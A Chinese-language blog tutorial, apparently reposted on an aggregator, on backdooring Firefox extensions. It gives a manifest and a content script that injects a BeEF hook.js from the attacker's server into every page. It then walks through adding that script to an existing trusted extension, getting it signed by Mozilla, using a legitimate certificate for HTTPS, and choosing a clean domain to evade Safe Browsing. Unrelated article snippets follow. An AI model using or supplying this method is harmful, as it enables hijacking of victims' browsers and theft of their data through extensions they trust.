初窥火狐浏览器插件后门

news/2024/11/13 17:30:13/

插件的基本机构及其作用

1、manifest.json 这个文件是每个插件都必须有的一个文件(其他的文件是可选的),它定义了插件的所有的信息,如权限,要引入哪些脚本,包含哪些资源等等。

2、Background pages 后台执行的脚本,如果你的插件需要有一个脚本文件一直在后台执行的话,这个脚本不在任何用户的可见的页签里运行,而是在浏览器为它创建的一个空白页里运行,所以它不能访问别的网页的DOM,所以用它没法做js注入。

3、Content scripts 直译是内容脚本,我理解为对应某内容而运行的脚本。它可以操作对应的页面的DOM,用它来注入js比较方便。

个人认为,后门注入到可信的程序里就可以了,这也是一种比较理想的状态,而不用自己开发一个很好的软件,然后把后门加进去。所以,后边这四项对于做后门并不重要,知道就好,主要是前面三项要理解。咱们只要改动可信的插件,把咱们的脚本放进去就好了。

4、browser action files 在工具栏中添加按钮

5、page action files 在地址栏添加按钮

6、options pages 为用户定义一个可浏览的UI界面,可以改变插件的设置

7、web-accessible resources 使打包好的内容可用于网页与目录脚本

beef 与插件后门结合

manifest.json

 
 
{  "description": "hook ",  
"manifest_version": 2,  
"name": "hookyou",  
"version": "1.0",  
"content_scripts": [    {      
"matches": ["<all_urls>"],      
"js": ["hookyou.js"]    }  ]}

"matches": ["<all_urls>"] 这句表示要在所有的网站都注入 js 修改 <all_urls> 为其他的值,就只在特定网站注入。

hookyou.js

var oScript= document.createElement('script');oScript.src=" 你的 beef 的hook.js";document.body.appendChild(oScript);

如何临时加载你的插件

在地址栏输入 about:debugging ,回车,然后选择临时载入附加组件,再找到你的插件的目录,选中它的 manifest.json 文件,这个插件就被加载了。这时候你去访问网址,就会发现,body 里被注入了 js。

beef 支持 https

现在的浏览器是不允许在 https 的网页引入 http 资源的(图片除外),但是现在的知名网址,大都是 https 了,所以不能放弃劫持 https 的网站。那么我们的 beef 就得支持 https。

本地测试的话,很简单,直接让靶机信任证书就好了,但是要用到实战就有些尴尬了。所以我们要用合法的证书,腾讯云有免费的,申请也很快,可以自行申请。值得一提的是,需要把那几个文件提供给 beef。

申请完毕之后,下载到本地解压,其中有如下几个文件。

beef 使用的 web 服务器软件是 apache,所以我们打开 apache 文件夹。

beef 只需要文件 2 和文件 3,先把 beef 原来的证书备份一下,然后把文件 2 文件 3 复制到 beef 证书的存访位置,然后把文件 2 改名为 beef_cert.pem,文件 3 改名为 beef_key.pem。(我不懂密码学,对这些证书文件就不妄加论断了,只说怎么操作,hhhhh)

然后修改配置文件,把此处 enable 项的值改为 true

然后重新启动 beef,你就得用 https 协议访问 3000 端口了。

把恶意代码注入到现有的插件

首先下载某插件的源码

https://github.com/khoiasd/hackbar

把 hookyou.js 放进它的目录

然后修改某插件的 manifest.json 文件,让它把 hookyou.js 当作 conten_script 引入。

狐插件的必须要经过签名才能安装,否则会提示插件损坏。

具体流程:插件打包->上传到附件组件开发者中心->通过校验->下载已签名插件->安装插件

插件打包

把插件目录下的文件,用 zip 压缩即可。注意是文件夹下的文件,而不是压缩整个文件夹。

打开文件夹,选中再压缩。

下的步骤都很简单,没什么注意的了,只要你的插件不报错,问题不大。

safe browsing

如果你的域名被标识为含有恶意网站的话,在从你的网站加载 js 时,就会被 safe browsing 拦截,影响测试效果。具体的关闭方法是:

实战时,你得找个干净的域名。

Content-Security-Policy

也就是 CSP 头,有个网址的相应包里会有找个头,通常就不能这么直接的引入 js 了,所以有些网页你虽然打开了,但是 beef 里并没有上线(除去网络不好的原因),这是正常的。

不过我们也不用去绕过,插件可以直接执行 js,只是不能从外部引入站点不可信的 js。

插件测试

测试环境

win10

firefox 59.0.2(64 位)

首先安装插件后门到靶机的浏览器。貌似看起来跟正常的插件没什么区别。

插件貌似看起来跟正常的插件没什么区别。

然后登陆 beef 后台,在靶机浏览器打开几个网站,稍等一会。

这时我们看到,靶机上线了。

看一下靶机页面源代码。

执行个模块试试

总结

经过黑客的手的东西都很危险啊,还是小心使用的好。

本文只是展示了用借助 beef 来实现攻击,结合其他平台也是一样。

自己编写后门代码更是优秀,火狐插件有很多 API,可以很方便的盗取信息,实现远程控制,奈何本人前端水平太差,只能在这抛砖引玉了。


http://www.ppmy.cn/news/595609.html

相关文章

Burp Suite配置火狐浏览器代理

1、下载火狐浏览器 首先准备好火狐浏览器&#xff0c;在自己已有的浏览器中下载火狐浏览器。Firefox 火狐浏览器 - 全新、安全、快速 | 官方最新下载https://www.firefox.com.cn/ 2、配置火狐浏览器代理 打开火狐浏览器后按以下步骤打开设置&#xff0c;然后在网络设置里面点…

Burp Suite代理和火狐浏览器设置

1. Burp Suite设置 1&#xff09;启动&#xff0c;选择Proxy->Options选项卡&#xff0c;Proxy Listeners 勾选127.0.0.1&#xff1a;8080 2. FireFox设置 1&#xff09;工具->选项->高级>网络; 连接设置&#xff1a;勾选“手动配置代理”HTTP代理 127.0.0.1&a…

fiddler设置火狐浏览器代理

参考火地晋的博客&#xff0c;网址&#xff1a;http://www.cnblogs.com/yelaiju/archive/2013/06/14/3135480.html 1 firefox使用AutoProxy作为代理&#xff0c;点击AutoProxy中首选项->代理服务器(S)->编辑代理服务器->添加代理->输入diddler&#xff0c;代理主…

火狐浏览器hackbar安装使用教程

火狐浏览器hackbar安装使用教程 首先先打开火狐自带的扩展和主题 在搜索框中搜索hackbar 由于hackbar现在收费了&#xff0c;这里直接使用hackbarV2来进行平替。 接下来使用F12或者手动打开web开发者工具。 查看效果 使用的第一步就是先去点击load URL导入URL 通过在框里修改…

(转载)从0开始学matlab(第4天)—子数组

你可以选择和使用一个 MATLAB 函数的子集&#xff0c;好像他们是独立的数组一样。在数组名后面加括号&#xff0c;括号里面是所有要选择的元素的下标&#xff0c;这样就能选择这个函数的子集了。例如&#xff0c;假设定义了一个数组 arr1 如下 arr1[1.1 -2.2 3.3 -4.4 5.5] 那…

【云原生丶Docker】Docker镜像加速器:给冰山提提速!

Docker镜像加速器是一种用于加速Docker镜像下载和构建的工具。它可以提高Docker镜像的下载速度&#xff0c;从而加快应用程序的开发和部署速度。 Docker镜像加速器通常使用CDN(内容分发网络)技术来实现加速。CDN是一种分布式网络架构&#xff0c;可以将内容缓存在全球各地的服务…

毕业设计之图书馆座位预约系统

1.系统开发环境 系统采用的集成开发环境为IDEA&#xff0c;使用JAVA语言及SPRINGBOOT框架进行开发&#xff0c;其中硬件环境和软件环境如下&#xff1a; 2.硬件环境 处理器&#xff1a;Intel(R) Core(TM) i7-9750 GPU 3.00GHz 内存&#xff1a;8GB 3.软件环境 操作系统&…

xss-labs靶场level1~5

参考资料&#xff1a; XSS常见的触发标签_可以触发xss的标签_H3rmesk1t的博客-CSDN博客 基础知识&#xff1a; XSS漏洞的定义: 跨站脚本攻击XSS(Cross Site Scripting)&#xff0c;为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆&#xff0c;故将跨站脚本攻击缩…